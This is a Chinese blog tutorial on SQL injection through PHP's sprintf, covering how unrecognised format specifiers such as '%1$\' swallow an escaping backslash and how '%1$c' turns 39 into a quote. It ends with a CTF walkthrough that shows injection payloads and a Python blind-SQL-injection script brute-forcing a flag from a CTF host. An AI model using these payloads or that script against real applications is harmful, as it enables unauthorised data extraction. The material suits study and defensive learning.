php sprintf 漏洞,【Web漏洞】PHP sprintf格式化字符串漏洞

原理

sprintf() 把百分号(%)符号替换成一个作为参数进行传递的变量:

$number = 2;

$str = "Shanghai";

$txt = sprintf("There are %u million cars in %s.",$number,$str);

echo $txt;

?>

运行结果

There are 2 million cars in Shanghai.

定义和用法 sprintf() 函数把格式化的字符串写入变量中。

arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "\$" 组成。

$number = 123;

$txt = sprintf("带有两位小数:%1\$.2f


不带小数:%1\$u",$number);

echo $txt;

?>

结果:

带有两位小数:123.00

不带小数:123

漏洞分析

接下来看看sprintf()的底层实现方法

switch (format[inpos]) {

case 's':

{

zend_string * t;

zend_string * str = zval_get_tmp_string(tmp, &t);

php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);

zend_tmp_string_release(t);

break;

}

case 'd':

php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);

break;

case 'u':

php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);

break;

case 'g':

case 'G':

case 'e':

case 'E':

case 'f':

case 'F':

php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);

break;

case 'c':

php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));

break;

case 'o':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);

break;

case 'x':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);

break;

case 'X':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);

break;

case 'b':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);

break;

case '%':

php_sprintf_appendchar( & result, &outpos, '%');

break;

default:

break;

}

可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:如果我们输入"%\"或者"%1$\",他会把反斜杠当做格式化字符的类型,然而找不到匹配的项那么"%\","%1$\"就因为没有经过任何处理而被替换为空。

8ec30e35fbb730e16ab619347c282dd9.png

a7c4c4a8a60b22254d1c9f4c08e72577.png

因此sprintf注入的原理就是

我们用一个15种类型之外的 "\"来代替格式字符类型让函数替换为空,则“%1$\'”后面的单引号就能闭合前面的单引号,以下是一些例子帮助我们更好的理解

不带占位符的

$sql="select * from user where username='%\' and 1=1 #';";

$user='admin';

echo sprintf($sql,$user);

?>

运行结果:

select * from user where username='' and 1=1 #';

注意:username=''这里是两个单引号不是双引号

带有占位符

先看不带的原样输出:

4378129daf6fd68b74d48cdb67b11bcc.png

and 1=1#

AND b='and 1=1#'

SELECT * FROM t WHERE a='admin' AND b='and 1=1#'

进行绕过:

//addslashes()函数:在预定义前面加反斜杠,预定义符有单引号('),双引号("),反斜杠(\),NULL

$input = addslashes ("%1$' and 1=1#" );

$b = sprintf ("AND b='%s'", $input );

$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );

echo $sql ;

?>

对$input与$b进行了拼接

$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );

很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\类匹配admin,那么admin只会出现在%s里,%1$\为空 所以输出

%1$\' and 1=1#

AND b='%1$\' and 1=1#'

SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

e921342c045df7fcd8d49fdf8040e598.png

对于这个问题,我们还可以这样写

$sql = sprintf ("SELECT * FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin');

result:

SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

第一个格式化处匹配时为空,会让给后面的格式化匹配

以上两个例子是吃掉'\'来使得单引号逃逸出来

下面这个例子我们构造单引号

$input1 = '%1$c) OR 1 = 1 /*' ;

$input2 = 39 ;

$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;

echo($sql."
");

$sql = sprintf ( $sql , $input2 );

echo $sql ;

结果:

SELECT * FROM foo WHERE bar IN (' %1$c) OR 1 = 1 /* ') AND baz = %s

SELECT * FROM foo WHERE bar IN (' ') OR 1 = 1 /* ') AND baz = 39

%c起到了类似chr()的效果,将数字39转化为‘,从而导致了sql注入。

所以结果为:

SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39

实战

进行fuzz时 ,当输入%时爆sprintf()错误

a25b97c9cf44db0e860d578d4da5d3f9.png

于是构造 username=admin%1$' and 1=2#与username=admin%1$' and 1=1# 于是写下脚本:

# _*_ coding : utf-8 _*_

import requests

import re

import urllib2

headers = {

'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',

}

dbname = ""

chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

url = "http://00eec0b6e68b4332b078c559e3fee6307720121e6aaf49e4.changame.ichunqiu.com/"

for m in range(30,50):

for i in range(32, 126):

s = "%1$' or ascii(substr((select flag from flag),"+str(m)+",1))="+str(i)+"#"

# str1 = urllib2.quote(s)

str1 = s

data={'username' : str1, 'password' : '12313'}

# print str1

# print urllib2.unquote(str1)

req = requests.post(url=url, data=data,headers=headers)

# print req.text

# print req.text

result = re.findall('password error', req.content)

if result:

dbname = dbname + chr(i)

print dbname

print chr(i)

b71dcf99dea9aab120e2072a8aea9670.png

e1089cbef1b3fe9d76f1d8e0af658b17.png

JohelLiang

发布了33 篇原创文章 · 获赞 2 · 访问量 1429

私信

关注

标签:case,Web,break,漏洞,result,php,tmp,sprintf

来源: https://blog.csdn.net/qq_34965596/article/details/103522804

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值